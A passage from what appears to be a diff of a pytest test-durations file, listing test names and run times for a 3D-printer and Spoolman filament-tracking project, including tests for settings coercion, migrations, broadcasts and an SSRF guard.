0.002017681486904621, + "unit/test_spoolman_inventory_methods.py::TestFindOrCreateFilament::test_still_matches_filament_named_material_plus_subtype": 0.002133498899638653, + "unit/test_spoolman_inventory_methods.py::TestFindOrCreateVendor::test_case_insensitive_match": 0.0019141081720590591, + "unit/test_spoolman_inventory_methods.py::TestFindOrCreateVendor::test_creates_vendor_when_not_found": 0.0020180735737085342, + "unit/test_spoolman_inventory_methods.py::TestFindOrCreateVendor::test_raises_when_create_fails": 0.0020996248349547386, + "unit/test_spoolman_inventory_methods.py::TestFindOrCreateVendor::test_returns_existing_vendor_id": 0.001928582787513733, + "unit/test_spoolman_inventory_methods.py::TestGetAllSpools::test_passes_allow_archived_param": 0.002636571414768696, + "unit/test_spoolman_inventory_methods.py::TestGetAllSpools::test_raises_unavailable_on_error": 1.0038494123145938, + "unit/test_spoolman_inventory_methods.py::TestGetAllSpools::test_returns_list_without_archived_by_default": 0.0024896059185266495, + "unit/test_spoolman_inventory_methods.py::TestGetDistinctLocationsShape::test_drops_non_string_and_dict_without_name": 0.0019792690873146057, + "unit/test_spoolman_inventory_methods.py::TestGetDistinctLocationsShape::test_extracts_name_from_list_of_dicts": 0.001963929273188114, + "unit/test_spoolman_inventory_methods.py::TestGetDistinctLocationsShape::test_passes_through_list_of_strings": 0.0019547846168279648, + "unit/test_spoolman_inventory_methods.py::TestGetDistinctLocationsShape::test_returns_empty_list_on_non_list_payload": 0.0019348375499248505, + "unit/test_spoolman_inventory_methods.py::TestGetExternalFilamentsRaisesOnError::test_raises_unavailable_on_error": 0.002195124514400959, + "unit/test_spoolman_inventory_methods.py::TestGetFilamentsRaisesOnError::test_raises_unavailable_on_error": 0.002355954609811306, + "unit/test_spoolman_inventory_methods.py::TestGetSpool::test_raises_client_error_on_4xx_response": 0.003139724023640156, + "unit/test_spoolman_inventory_methods.py::TestGetSpool::test_raises_not_found_on_404_response": 0.002553003840148449, + "unit/test_spoolman_inventory_methods.py::TestGetSpool::test_raises_unavailable_on_http_error": 0.002607586793601513, + "unit/test_spoolman_inventory_methods.py::TestGetSpool::test_returns_spool_dict_on_success": 0.004927484318614006, + "unit/test_spoolman_inventory_methods.py::TestGetVendorsRaisesOnError::test_raises_unavailable_on_error": 0.0021865172311663628, + "unit/test_spoolman_inventory_methods.py::TestRenameLocationBulkAndFallback::test_bulk_endpoint_404_falls_back_to_per_spool_patch": 0.002643105573952198, + "unit/test_spoolman_inventory_methods.py::TestRenameLocationBulkAndFallback::test_bulk_endpoint_405_also_falls_back": 0.0025896625593304634, + "unit/test_spoolman_inventory_methods.py::TestRenameLocationBulkAndFallback::test_bulk_endpoint_non_404_5xx_propagates": 0.002250518649816513, + "unit/test_spoolman_inventory_methods.py::TestRenameLocationBulkAndFallback::test_bulk_endpoint_success_returns_zero": 0.0026554660871624947, + "unit/test_spoolman_inventory_methods.py::TestSetSpoolArchived::test_archives_spool": 0.0025393087416887283, + "unit/test_spoolman_inventory_methods.py::TestSetSpoolArchived::test_raises_unavailable_on_error": 0.002149227075278759, + "unit/test_spoolman_inventory_methods.py::TestSetSpoolArchived::test_restores_spool": 0.00224983599036932, + "unit/test_spoolman_inventory_methods.py::TestUpdateSpoolFull::test_clear_location_sets_none": 0.0024545015767216682, + "unit/test_spoolman_inventory_methods.py::TestUpdateSpoolFull::test_empty_comment_sent_as_none": 0.0025262534618377686, + "unit/test_spoolman_inventory_methods.py::TestUpdateSpoolFull::test_location_set_when_not_clearing": 0.0022531533613801003, + "unit/test_spoolman_inventory_methods.py::TestUpdateSpoolFull::test_raises_unavailable_on_error": 0.0022261226549744606, + "unit/test_spoolman_inventory_methods.py::TestUpdateSpoolFull::test_sends_only_provided_fields": 0.002262759953737259, + "unit/test_spoolman_multi_colors_2967.py::TestTheMappedSpool::test_a_single_colour_spool_has_no_extra_colors": 0.0014469726011157036, + "unit/test_spoolman_multi_colors_2967.py::TestTheMappedSpool::test_both_keys_are_always_present_so_the_shape_never_varies": 0.0013250838965177536, + "unit/test_spoolman_multi_colors_2967.py::TestTheMappedSpool::test_effect_type_is_none_because_spoolman_has_no_such_field": 0.001454935409128666, + "unit/test_spoolman_multi_colors_2967.py::TestTheMappedSpool::test_multi_color_direction_is_not_mistaken_for_an_effect": 0.001358063891530037, + "unit/test_spoolman_multi_colors_2967.py::TestTheMappedSpool::test_multi_colour_stops_reach_extra_colors": 0.0014764182269573212, + "unit/test_spoolman_multi_colors_2967.py::TestTheMappedSpool::test_the_base_colour_still_maps_alongside_the_stops": 0.0013301437720656395, + "unit/test_spoolman_multi_colors_2967.py::TestTheParser::test_a_filament_without_the_field_reads_as_no_stops": 0.0014019189402461052, + "unit/test_spoolman_multi_colors_2967.py::TestTheParser::test_anything_unusable_reads_as_no_stops[ ]": 0.001467009074985981, + "unit/test_spoolman_multi_colors_2967.py::TestTheParser::test_anything_unusable_reads_as_no_stops[42]": 0.0014945920556783676, + "unit/test_spoolman_multi_colors_2967.py::TestTheParser::test_anything_unusable_reads_as_no_stops[None]": 0.0014689518138766289, + "unit/test_spoolman_multi_colors_2967.py::TestTheParser::test_anything_unusable_reads_as_no_stops[]": 0.0014641741290688515, + "unit/test_spoolman_multi_colors_2967.py::TestTheParser::test_anything_unusable_reads_as_no_stops[value4]": 0.0014685429632663727, + "unit/test_spoolman_multi_colors_2967.py::TestTheParser::test_anything_unusable_reads_as_no_stops[value5]": 0.0014933394268155098, + "unit/test_spoolman_multi_colors_2967.py::TestTheParser::test_anything_unusable_reads_as_no_stops[value6]": 0.0014982810243964195, + "unit/test_spoolman_multi_colors_2967.py::TestTheParser::test_drops_empty_tokens_rather_than_emitting_blanks": 0.0014488166198134422, + "unit/test_spoolman_multi_colors_2967.py::TestTheParser::test_keeps_the_case_it_was_given": 0.0015317704528570175, + "unit/test_spoolman_multi_colors_2967.py::TestTheParser::test_reads_the_comma_separated_string_form": 0.0012906808406114578, + "unit/test_spoolman_multi_colors_2967.py::TestTheParser::test_reads_the_list_form": 0.001271112821996212, + "unit/test_spoolman_multi_colors_2967.py::TestTheParser::test_strips_hashes_and_whitespace": 0.0012842081487178802, + "unit/test_spoolman_no3mf_remain_fallback.py::TestPartialUsageRemainDelta::test_aborted_no_3mf_writes_remain_delta": 0.003069033846259117, + "unit/test_spoolman_no3mf_remain_fallback.py::TestReportUsageRemainDelta::test_remain_delta_skips_slot_handled_by_3mf": 0.003452552482485771, + "unit/test_spoolman_no3mf_remain_fallback.py::TestReportUsageRemainDelta::test_remain_delta_skips_swapped_spool": 0.003178868442773819, + "unit/test_spoolman_no3mf_remain_fallback.py::TestReportUsageRemainDelta::test_remain_delta_writes_to_resolved_spool": 0.0034214938059449196, + "unit/test_spoolman_no3mf_remain_fallback.py::TestSnapshotTrayRemain::test_captures_valid_remain": 0.0013478845357894897, + "unit/test_spoolman_no3mf_remain_fallback.py::TestSnapshotTrayRemain::test_captures_vt_tray": 0.0013228394091129303, + "unit/test_spoolman_no3mf_remain_fallback.py::TestSnapshotTrayRemain::test_empty_when_no_ams_data": 0.0013055270537734032, + "unit/test_spoolman_no3mf_remain_fallback.py::TestSnapshotTrayRemain::test_handles_missing_uuid": 0.001315755769610405, + "unit/test_spoolman_no3mf_remain_fallback.py::TestSnapshotTrayRemain::test_skips_invalid_remain": 0.0013391217216849327, + "unit/test_spoolman_no3mf_remain_fallback.py::TestStorePrintDataNo3mf::test_3mf_path_also_captures_snapshot": 0.0033300314098596573, + "unit/test_spoolman_no3mf_remain_fallback.py::TestStorePrintDataNo3mf::test_a_printer_that_reports_no_tray_records_none": 0.00293899979442358, + "unit/test_spoolman_no3mf_remain_fallback.py::TestStorePrintDataNo3mf::test_creates_row_with_snapshot_when_no_3mf": 0.0033928807824850082, + "unit/test_spoolman_no3mf_remain_fallback.py::TestStorePrintDataNo3mf::test_no_row_when_no_3mf_and_no_remain_data": 0.002456524409353733, + "unit/test_spoolman_no3mf_remain_fallback.py::TestStorePrintDataNo3mf::test_records_the_tray_the_print_started_on": 0.0030684517696499825, + "unit/test_spoolman_settings_value_coercion.py::test_empty_is_preserved_not_turned_into_false[ ]": 0.0013416027650237083, + "unit/test_spoolman_settings_value_coercion.py::test_empty_is_preserved_not_turned_into_false[]": 0.0013593994081020355, + "unit/test_spoolman_settings_value_coercion.py::test_falsy_spellings[ false ]": 0.0014100326225161552, + "unit/test_spoolman_settings_value_coercion.py::test_falsy_spellings[0]": 0.0013828827068209648, + "unit/test_spoolman_settings_value_coercion.py::test_falsy_spellings[FALSE]": 0.001442023552954197, + "unit/test_spoolman_settings_value_coercion.py::test_falsy_spellings[False]": 0.0013494892045855522, + "unit/test_spoolman_settings_value_coercion.py::test_falsy_spellings[false]": 0.0013938415795564651, + "unit/test_spoolman_settings_value_coercion.py::test_falsy_spellings[no]": 0.0013495590537786484, + "unit/test_spoolman_settings_value_coercion.py::test_falsy_spellings[off]": 0.0013445094227790833, + "unit/test_spoolman_settings_value_coercion.py::test_json_booleans_are_accepted_and_canonicalised[False-false]": 0.0014283787459135056, + "unit/test_spoolman_settings_value_coercion.py::test_json_booleans_are_accepted_and_canonicalised[True-true]": 0.001473831944167614, + "unit/test_spoolman_settings_value_coercion.py::test_json_numbers_one_and_zero_are_accepted[0-false]": 0.0014197016134858131, + "unit/test_spoolman_settings_value_coercion.py::test_json_numbers_one_and_zero_are_accepted[1-true]": 0.0014045927673578262, + "unit/test_spoolman_settings_value_coercion.py::test_python_style_capitalised_true_is_normalised_lowercase": 0.0013898247852921486, + "unit/test_spoolman_settings_value_coercion.py::test_setting_is_true[ true -True]": 0.0012985141947865486, + "unit/test_spoolman_settings_value_coercion.py::test_setting_is_true[-False]": 0.001292262226343155, + "unit/test_spoolman_settings_value_coercion.py::test_setting_is_true[False-False]": 0.001286291517317295, + "unit/test_spoolman_settings_value_coercion.py::test_setting_is_true[None-False]": 0.0012849587947130203, + "unit/test_spoolman_settings_value_coercion.py::test_setting_is_true[TRUE-True]": 0.0013087447732686996, + "unit/test_spoolman_settings_value_coercion.py::test_setting_is_true[True-True0]": 0.001375488005578518, + "unit/test_spoolman_settings_value_coercion.py::test_setting_is_true[True-True1]": 0.0012742886319756508, + "unit/test_spoolman_settings_value_coercion.py::test_setting_is_true[banana-False]": 0.0012927725911140442, + "unit/test_spoolman_settings_value_coercion.py::test_setting_is_true[false-False]": 0.0014072488993406296, + "unit/test_spoolman_settings_value_coercion.py::test_setting_is_true[true-True]": 0.001519649289548397, + "unit/test_spoolman_settings_value_coercion.py::test_setting_is_true_stays_narrower_than_the_write_path[1]": 0.0015506474301218987, + "unit/test_spoolman_settings_value_coercion.py::test_setting_is_true_stays_narrower_than_the_write_path[on]": 0.0012757005169987679, + "unit/test_spoolman_settings_value_coercion.py::test_setting_is_true_stays_narrower_than_the_write_path[yes]": 0.0012586107477545738, + "unit/test_spoolman_settings_value_coercion.py::test_str_setting_maps_null_to_empty": 0.0015217643231153488, + "unit/test_spoolman_settings_value_coercion.py::test_str_setting_passes_strings_through_untouched": 0.0012991651892662048, + "unit/test_spoolman_settings_value_coercion.py::test_str_setting_refuses_containers_rather_than_storing_a_repr[value0]": 0.0018312335014343262, + "unit/test_spoolman_settings_value_coercion.py::test_str_setting_refuses_containers_rather_than_storing_a_repr[value1]": 0.0015529412776231766, + "unit/test_spoolman_settings_value_coercion.py::test_str_setting_stringifies_numbers": 0.0012380816042423248, + "unit/test_spoolman_settings_value_coercion.py::test_truthy_spellings[ true ]": 0.0014024879783391953, + "unit/test_spoolman_settings_value_coercion.py::test_truthy_spellings[1]": 0.001380937173962593, + "unit/test_spoolman_settings_value_coercion.py::test_truthy_spellings[ON]": 0.001352144405245781, + "unit/test_spoolman_settings_value_coercion.py::test_truthy_spellings[TRUE]": 0.0014367923140525818, + "unit/test_spoolman_settings_value_coercion.py::test_truthy_spellings[True]": 0.0014105746522545815, + "unit/test_spoolman_settings_value_coercion.py::test_truthy_spellings[on]": 0.0013663796707987785, + "unit/test_spoolman_settings_value_coercion.py::test_truthy_spellings[true]": 0.0015659751370549202, + "unit/test_spoolman_settings_value_coercion.py::test_truthy_spellings[yes]": 0.0013957554474473, + "unit/test_spoolman_settings_value_coercion.py::test_uninterpretable_values_raise_400_naming_the_field[-1]": 0.0013453513383865356, + "unit/test_spoolman_settings_value_coercion.py::test_uninterpretable_values_raise_400_naming_the_field[2]": 0.001440201885998249, + "unit/test_spoolman_settings_value_coercion.py::test_uninterpretable_values_raise_400_naming_the_field[3.5]": 0.0013567833229899406, + "unit/test_spoolman_settings_value_coercion.py::test_uninterpretable_values_raise_400_naming_the_field[7]": 0.001368153840303421, + "unit/test_spoolman_settings_value_coercion.py::test_uninterpretable_values_raise_400_naming_the_field[None]": 0.0013672225177288055, + "unit/test_spoolman_settings_value_coercion.py::test_uninterpretable_values_raise_400_naming_the_field[banana]": 0.0014360016211867332, + "unit/test_spoolman_settings_value_coercion.py::test_uninterpretable_values_raise_400_naming_the_field[maybe]": 0.0013696076348423958, + "unit/test_spoolman_settings_value_coercion.py::test_uninterpretable_values_raise_400_naming_the_field[value5]": 0.0013668928295373917, + "unit/test_spoolman_settings_value_coercion.py::test_uninterpretable_values_raise_400_naming_the_field[value6]": 0.0013619530946016312, + "unit/test_spoolman_slot_ddl.py::TestSpoolmanSlotDdl::test_ams_id_check_admits_ams_ht_range": 0.00148719921708107, + "unit/test_spoolman_slot_ddl.py::TestSpoolmanSlotDdl::test_orm_model_has_ams_id_check_constraint": 0.0013001970946788788, + "unit/test_spoolman_slot_ddl.py::TestSpoolmanSlotDdl::test_orm_model_has_named_unique_constraint": 0.0012463964521884918, + "unit/test_spoolman_slot_ddl.py::TestSpoolmanSlotDdl::test_orm_model_has_tray_id_check_constraint": 0.001218223012983799, + "unit/test_spoolman_slot_ddl.py::TestSpoolmanSlotDdl::test_postgres_ddl_has_named_unique_constraint": 0.0014464706182479858, + "unit/test_spoolman_slot_ddl.py::TestSpoolmanSlotDdl::test_sqlite_ddl_has_ams_id_check": 0.0015739593654870987, + "unit/test_spoolman_slot_ddl.py::TestSpoolmanSlotDdl::test_sqlite_ddl_has_named_unique_constraint": 0.0026195095852017403, + "unit/test_spoolman_slot_ddl.py::TestSpoolmanSlotDdl::test_sqlite_ddl_has_tray_id_check": 0.001473933458328247, + "unit/test_spoolman_stale_tag_cleanup.py::TestClearStaleSlotFallbackTagLinks::test_computes_fallback_tag_and_clears": 0.002108752727508545, + "unit/test_spoolman_stale_tag_cleanup.py::TestClearStaleSlotFallbackTagLinks::test_empty_serial_no_op": 0.002120696008205414, + "unit/test_spoolman_stale_tag_cleanup.py::TestClearStaleTagLinks::test_case_insensitive_match": 0.0018133176490664482, + "unit/test_spoolman_stale_tag_cleanup.py::TestClearStaleTagLinks::test_clears_other_spools_with_same_tag": 0.002596917562186718, + "unit/test_spoolman_stale_tag_cleanup.py::TestClearStaleTagLinks::test_continues_when_one_patch_fails": 0.0018919268622994423, + "unit/test_spoolman_stale_tag_cleanup.py::TestClearStaleTagLinks::test_empty_tag_no_op": 0.0017654187977313995, + "unit/test_spoolman_stale_tag_cleanup.py::TestClearStaleTagLinks::test_skips_keep_spool_id": 0.0017270082607865334, + "unit/test_spoolman_stale_tag_cleanup.py::TestClearStaleTagLinks::test_swallows_get_spools_error": 0.001966896466910839, + "unit/test_spoolman_tracking.py::TestApplySpoolTypesToArchive::test_empty_materials_is_noop": 0.18511556182056665, + "unit/test_spoolman_tracking.py::TestApplySpoolTypesToArchive::test_overwrites_sliced_type_with_spool_material": 0.1961238943040371, + "unit/test_spoolman_tracking.py::TestApplySpoolTypesToArchive::test_partial_match_leaves_type_untouched": 0.1881813369691372, + "unit/test_spoolman_tracking.py::TestBuildAmsTrayLookup::test_empty_external_spool_skipped": 0.0012979116290807724, + "unit/test_spoolman_tracking.py::TestBuildAmsTrayLookup::test_external_spool": 0.0012961793690919876, + "unit/test_spoolman_tracking.py::TestBuildAmsTrayLookup::test_missing_fields_default": 0.0013101352378726006, + "unit/test_spoolman_tracking.py::TestBuildAmsTrayLookup::test_multiple_ams_units": 0.001307210884988308, + "unit/test_spoolman_tracking.py::TestBuildAmsTrayLookup::test_no_ams_data": 0.001309855841100216, + "unit/test_spoolman_tracking.py::TestBuildAmsTrayLookup::test_single_ams_unit": 0.0013176202774047852, + "unit/test_spoolman_tracking.py::TestFallbackTagHelpers::test_get_fallback_spool_tag_ams_ht": 0.0013085026293992996, + "unit/test_spoolman_tracking.py::TestFallbackTagHelpers::test_get_fallback_spool_tag_external": 0.0013123583048582077, + "unit/test_spoolman_tracking.py::TestFallbackTagHelpers::test_get_fallback_spool_tag_standard": 0.0012928321957588196, + "unit/test_spoolman_tracking.py::TestFallbackTagHelpers::test_global_tray_to_ams_slot_ams_ht": 0.001284467987716198, + "unit/test_spoolman_tracking.py::TestFallbackTagHelpers::test_global_tray_to_ams_slot_external": 0.0013095540925860405, + "unit/test_spoolman_tracking.py::TestFallbackTagHelpers::test_global_tray_to_ams_slot_standard_ams": 0.0012852586805820465, + "unit/test_spoolman_tracking.py::TestFallbackTagHelpers::test_hash_serial_matches_frontend_algorithm": 0.0012982329353690147, + "unit/test_spoolman_tracking.py::TestResolveGlobalTrayId::test_custom_mapping": 0.0012818137183785439, + "unit/test_spoolman_tracking.py::TestResolveGlobalTrayId::test_default_mapping": 0.0012920312583446503, + "unit/test_spoolman_tracking.py::TestResolveGlobalTrayId::test_empty_mapping": 0.0012818118557333946, + "unit/test_spoolman_tracking.py::TestResolveGlobalTrayId::test_slot_beyond_mapping": 0.0013156970962882042, + "unit/test_spoolman_tracking.py::TestResolveGlobalTrayId::test_unmapped_slot": 0.0012766709551215172, + "unit/test_spoolman_tracking.py::TestResolveSpoolTag::test_empty_both": 0.0012913811951875687, + "unit/test_spoolman_tracking.py::TestResolveSpoolTag::test_falls_back_to_tag_uid_when_no_uuid": 0.0014169160276651382, + "unit/test_spoolman_tracking.py::TestResolveSpoolTag::test_falls_back_to_tag_uid_when_uuid_zero": 0.0013146623969078064, + "unit/test_spoolman_tracking.py::TestResolveSpoolTag::test_missing_keys": 0.0013144435361027718, + "unit/test_spoolman_tracking.py::TestResolveSpoolTag::test_prefers_tray_uuid_over_fallback_when_non_zero": 0.0012948568910360336, + "unit/test_spoolman_tracking.py::TestResolveSpoolTag::test_prefers_tray_uuid_over_tag_uid": 0.001316647045314312, + "unit/test_spoolman_tracking.py::TestResolveSpoolTag::test_rejects_zero_tag_uid": 0.0013023419305682182, + "unit/test_spoolman_tracking.py::TestResolveSpoolTag::test_uses_fallback_tag_when_ids_missing": 0.001299033872783184, + "unit/test_spoolman_tracking.py::TestResolveSpoolTag::test_uses_fallback_tag_when_ids_zero": 0.0013127122074365616, + "unit/test_spoolman_tracking.py::TestResolveSpoolTag::test_zero_uuid_no_tag": 0.001301429234445095, + "unit/test_spoolman_tracking.py::TestStorePrintData::test_passes_queue_plate_id_to_3mf_extract": 0.003224794752895832, + "unit/test_spoolman_tracking.py::TestStorePrintData::test_prefers_explicit_ams_mapping_over_queue_mapping": 0.003380516543984413, + "unit/test_spoolman_tray_now_migration_1820.py::TestPostgresBranch::test_pg_branch_is_idempotent_on_its_own": 0.01735720317810774, + "unit/test_spoolman_tray_now_migration_1820.py::TestPostgresBranch::test_sqlite_branch_omits_if_not_exists": 0.016700522042810917, + "unit/test_spoolman_tray_now_migration_1820.py::test_a_fresh_database_has_the_column": 0.10857031308114529, + "unit/test_spoolman_tray_now_migration_1820.py::test_column_missing_before_migration": 0.05460086930543184, + "unit/test_spoolman_tray_now_migration_1820.py::test_migration_is_idempotent": 0.8613655958324671, + "unit/test_spoolman_tray_now_migration_1820.py::test_the_column_is_added_and_the_row_survives": 0.4748994754627347, + "unit/test_ssrf_guard.py::TestSsrfGuardAccepted::test_hostname_based": 0.0014821486547589302, + "unit/test_ssrf_guard.py::TestSsrfGuardAccepted::test_https_with_path": 0.0014659874141216278, + "unit/test_ssrf_guard.py::TestSsrfGuardAccepted::test_internal_dns": 0.001423608511686325, + "unit/test_ssrf_guard.py::TestSsrfGuardAccepted::test_localhost_http": 0.002205303870141506, + "unit/test_ssrf_guard.py::TestSsrfGuardAccepted::test_localhost_https": 0.0017322273924946785, + "unit/test_ssrf_guard.py::TestSsrfGuardAccepted::test_loopback_ipv4": 0.0017012394964694977, + "unit/test_ssrf_guard.py::TestSsrfGuardAccepted::test_rfc1918_10_x": 0.0014790026471018791, + "unit/test_ssrf_guard.py::TestSsrfGuardAccepted::test_rfc1918_172_16": 0.001439085230231285, + "unit/test_ssrf_guard.py::TestSsrfGuardAccepted::test_rfc1918_192_168": 0.0016112793236970901, + "unit/test_ssrf_guard.py::TestSsrfGuardRejected::test_alibaba_cloud_metadata": 0.001489352434873581, + "unit/test_ssrf_guard.py::TestSsrfGuardRejected::test_aws_imds_ipv6_blocked": 0.0015704846009612083, + "unit/test_ssrf_guard.py::TestSsrfGuardRejected::test_cloud_metadata_169_254": 0.0015163524076342583, + "unit/test_ssrf_guard.py::TestSsrfGuardRejected::test_ipv4_mapped_ipv6_metadata": 0.0016481000930070877, + "unit/test_ssrf_guard.py::TestSsrfGuardRejected::test_multicast_ipv4": 0.0014900518581271172, + "unit/test_ssrf_guard.py::TestSsrfGuardRejected::test_multicast_ipv6": 0.0015790807083249092, + "unit/test_ssrf_guard.py::TestSsrfGuardRejected::test_numeric_encoded_decimal": 0.0014227963984012604, + "unit/test_ssrf_guard.py::TestSsrfGuardRejected::test_numeric_encoded_hex": 0.0014367522671818733, + "unit/test_ssrf_guard.py::TestSsrfGuardRejected::test_scheme_dict": 0.0014144917950034142, + "unit/test_ssrf_guard.py::TestSsrfGuardRejected::test_scheme_file": 0.0017385482788085938, + "unit/test_ssrf_guard.py::TestSsrfGuardRejected::test_scheme_gopher": 0.0015041502192616463, + "unit/test_ssrf_guard.py::TestSsrfGuardRejected::test_unspecified_ipv4": 0.00728935282677412, + "unit/test_ssrf_guard.py::TestSsrfGuardRejected::test_unspecified_ipv6": 0.0015469193458557129, + "unit/test_status_broadcast_ams_slot_config.py::TestConfigureSlotBroadcasts::test_a_changed_filament_field_broadcasts[cali_idx-7]": 0.003322657197713852, + "unit/test_status_broadcast_ams_slot_config.py::TestConfigureSlotBroadcasts::test_a_changed_filament_field_broadcasts[tray_color-FF0000FF]": 0.003684375435113907, + "unit/test_status_broadcast_ams_slot_config.py::TestConfigureSlotBroadcasts::test_a_changed_filament_field_broadcasts[tray_info_idx-GFA01]": 0.005093538202345371, + "unit/test_status_broadcast_ams_slot_config.py::TestConfigureSlotBroadcasts::test_a_changed_filament_field_broadcasts[tray_sub_brands-PLA Matte]": 0.00331277959048748, + "unit/test_status_broadcast_ams_slot_config.py::TestConfigureSlotBroadcasts::test_a_second_slot_is_watched_too": 0.003249550238251686, + "unit/test_status_broadcast_ams_slot_config.py::TestConfigureSlotBroadcasts::test_the_realistic_reconfigure_broadcasts": 0.0032360143959522247, + "unit/test_status_broadcast_ams_slot_config.py::TestDedupStillHolds::test_an_identical_push_is_still_suppressed": 0.003143533132970333, + "unit/test_status_broadcast_ams_slot_config.py::TestDedupStillHolds::test_remaining_filament_does_not_broadcast": 0.003198053687810898, + "unit/test_status_broadcast_ams_slot_config.py::TestExistingBehaviourUnchanged::test_a_load_unload_transition_still_broadcasts": 0.003207692876458168, + "unit/test_status_broadcast_ams_slot_config.py::TestExistingBehaviourUnchanged::test_a_printer_with_no_ams_still_broadcasts_once": 0.0027487333863973618, + "unit/test_status_broadcast_ams_slot_config.py::TestExistingBehaviourUnchanged::test_resetting_a_slot_still_broadcasts": 0.0032002385705709457, + "unit/test_status_broadcast_ams_slot_config.py::TestFilamentTrackSwitchBroadcasts::test_a_rebind_broadcasts": 0.003216637298464775, + "unit/test_status_broadcast_ams_slot_config.py::TestFilamentTrackSwitchBroadcasts::test_an_unchanged_binding_is_still_suppressed": 0.00347963348031044, + "unit/test_status_broadcast_ams_slot_config.py::TestFilamentTrackSwitchBroadcasts::test_fitting_the_accessory_broadcasts": 0.0031930962577462196, + "unit/test_status_broadcast_ams_slot_config.py::TestFilamentTrackSwitchBroadcasts::test_key_order_does_not_matter": 0.004940789192914963, + "unit/test_subtask_archive_resume.py::TestStaleVsResume::test_barely_started_long_print_resumes": 0.002430667169392109, + "unit/test_subtask_archive_resume.py::TestStaleVsResume::test_fresh_print_with_old_archive_is_stale": 0.0022716280072927475, + "unit/test_subtask_archive_resume.py::TestStaleVsResume::test_fresh_print_with_young_archive_resumes": 0.002153967507183552, + "unit/test_subtask_archive_resume.py::TestStaleVsResume::test_long_print_in_progress_resumes_not_stale": 0.0024463962763547897, + "unit/test_subtask_archive_resume.py::TestStaleVsResume::test_sub_one_percent_old_archive_is_stale": 0.0018728896975517273, + "unit/test_subtask_archive_resume.py::TestStaleVsResume::test_unknown_progress_never_cancels": 0.002599555067718029, + "unit/test_subtask_archive_resume.py::TestSubtaskIdExtraction::test_empty_collapses_to_none": 0.0014885375276207924, + "unit/test_subtask_archive_resume.py::TestSubtaskIdExtraction::test_integer_value_stringified": 0.0014813970774412155, + "unit/test_subtask_archive_resume.py::TestSubtaskIdExtraction::test_missing_raw_data": 0.0014954740181565285, + "unit/test_subtask_archive_resume.py::TestSubtaskIdExtraction::test_missing_subtask_id": 0.0014627203345298767, + "unit/test_subtask_archive_resume.py::TestSubtaskIdExtraction::test_valid_id_returns_string": 0.0015071351081132889, + "unit/test_subtask_archive_resume.py::TestSubtaskIdExtraction::test_whitespace_trimmed": 0.0014843940734863281, + "unit/test_subtask_archive_resume.py::TestSubtaskIdExtraction::test_zero_collapses_to_none": 0.001500711776316166, + "unit/test_subtask_archive_resume.py::TestSubtaskIdResume::test_completed_archive_not_resumed": 0.18422498367726803, + "unit/test_subtask_archive_resume.py::TestSubtaskIdResume::test_subtask_id_null_does_not_match_other_nulls": 0.1884985025972128, + "unit/test_subtask_archive_resume.py::TestSubtaskIdResume::test_subtask_id_query_finds_matching_printing_row": 0.18291599862277508, + "unit/test_subtask_archive_resume.py::TestSubtaskIdResume::test_subtask_id_revives_stale_cancelled_row": 0.18706411495804787, + "unit/test_support_bundle_rotated_logs.py::test_absent_log_file_still_reports_cleanly": 0.0016560647636651993, + "unit/test_support_bundle_rotated_logs.py::test_byte_budget_is_spent_on_the_newest_history": 0.0019591208547353745, + "unit/test_support_bundle_rotated_logs.py::test_missing_backups_are_skipped_not_fatal": 0.0018232157453894615, + "unit/test_support_bundle_rotated_logs.py::test_output_is_chronological_oldest_first": 0.002013762481510639, + "unit/test_support_bundle_rotated_logs.py::test_partial_line_at_the_truncation_point_is_discarded": 0.0018062451854348183, + "unit/test_support_bundle_rotated_logs.py::test_reads_rotated_backups_as_well_as_the_live_file": 0.0025614816695451736, + "unit/test_support_helpers.py::TestAnonymizeMqttBroker::test_empty_string": 0.001595301553606987, + "unit/test_support_helpers.py::TestAnonymizeMqttBroker::test_hostname_with_domain": 0.001568780280649662, + "unit/test_support_helpers.py::TestAnonymizeMqttBroker::test_hostname_with_subdomain": 0.00155698973685503, + "unit/test_support_helpers.py::TestAnonymizeMqttBroker::test_ipv4_address": 0.001646186225116253, + "unit/test_support_helpers.py::TestAnonymizeMqttBroker::test_ipv6_address": 0.001576283946633339, + "unit/test_support_helpers.py::TestAnonymizeMqttBroker::test_single_part_hostname": 0.0015712548047304153, + "unit/test_support_helpers.py::TestApplyLogLevel::test_debug_mode_keeps_httpx_pinned_to_warning": 0.001692754216492176, + "unit/test_support_helpers.py::TestApplyLogLevel::test_debug_mode_suppresses_aiosqlite": 0.0017099259421229362, + "unit/test_support_helpers.py::TestApplyLogLevel::test_debug_mode_suppresses_sqlalchemy_to_warning": 0.0017993021756410599, + "unit/test_support_helpers.py::TestApplyLogLevel::test_non_debug_mode_suppresses_all_noisy_loggers": 0.0017062798142433167, + "unit/test_support_helpers.py::TestCheckPort::test_reachable_port": 0.0026631010696291924, + "unit/test_support_helpers.py::TestCheckPort::test_timeout": 0.0019788192585110664, + "unit/test_support_helpers.py::TestCheckPort::test_unreachable_port": 0.0021508922800421715, + "unit/test_support_helpers.py::TestCheckUrlReachable::test_connection_error_returns_false": 0.0018168855458498001, + "unit/test_support_helpers.py::TestCheckUrlReachable::test_empty_url_returns_none": 0.00158633291721344, + "unit/test_support_helpers.py::TestCheckUrlReachable::test_successful_response_is_reachable_even_on_404": 0.002508549951016903, + "unit/test_support_helpers.py::TestCollectAuthInfo::test_empty_database_returns_zero_counts_and_empty_list": 0.006171608343720436, + "unit/test_support_helpers.py::TestCollectAuthInfo::test_oidc_provider_names_exported_in_cleartext": 0.00913054496049881, + "unit/test_support_helpers.py::TestCollectGitHubBackupInfo::test_aggregates_providers_and_recent_failures": 0.002660517580807209, + "unit/test_support_helpers.py::TestCollectSlicerApiInfo::test_disabled_does_not_run_reachability_check": 0.0036264872178435326, + "unit/test_support_helpers.py::TestCollectSlicerApiInfo::test_enabled_runs_reachability_check_for_both_urls": 0.0024474672973155975, + "unit/test_support_helpers.py::TestCollectSlicerApiInfo::test_env_var_fallback_url_pinged_when_db_setting_empty": 0.002697545103728771, + "unit/test_support_helpers.py::TestCollectSlicerApiInfo::test_reachability_uses_unredacted_url": 0.004121334291994572, + "unit/test_support_helpers.py::TestCollectSupportInfo::test_dependencies_section": 0.33046618197113276, + "unit/test_support_helpers.py::TestCollectSupportInfo::test_docker_section_absent_when_not_docker": 0.344908001832664, + "unit/test_support_helpers.py::TestCollectSupportInfo::test_docker_section_present_when_in_docker": 0.3557484373450279, + "unit/test_support_helpers.py::TestCollectSupportInfo::test_environment_has_timezone": 0.35600800532847643, + "unit/test_support_helpers.py::TestCollectSupportInfo::test_log_file_section": 0.36281574610620737, + "unit/test_support_helpers.py::TestCollectSupportInfo::test_network_section": 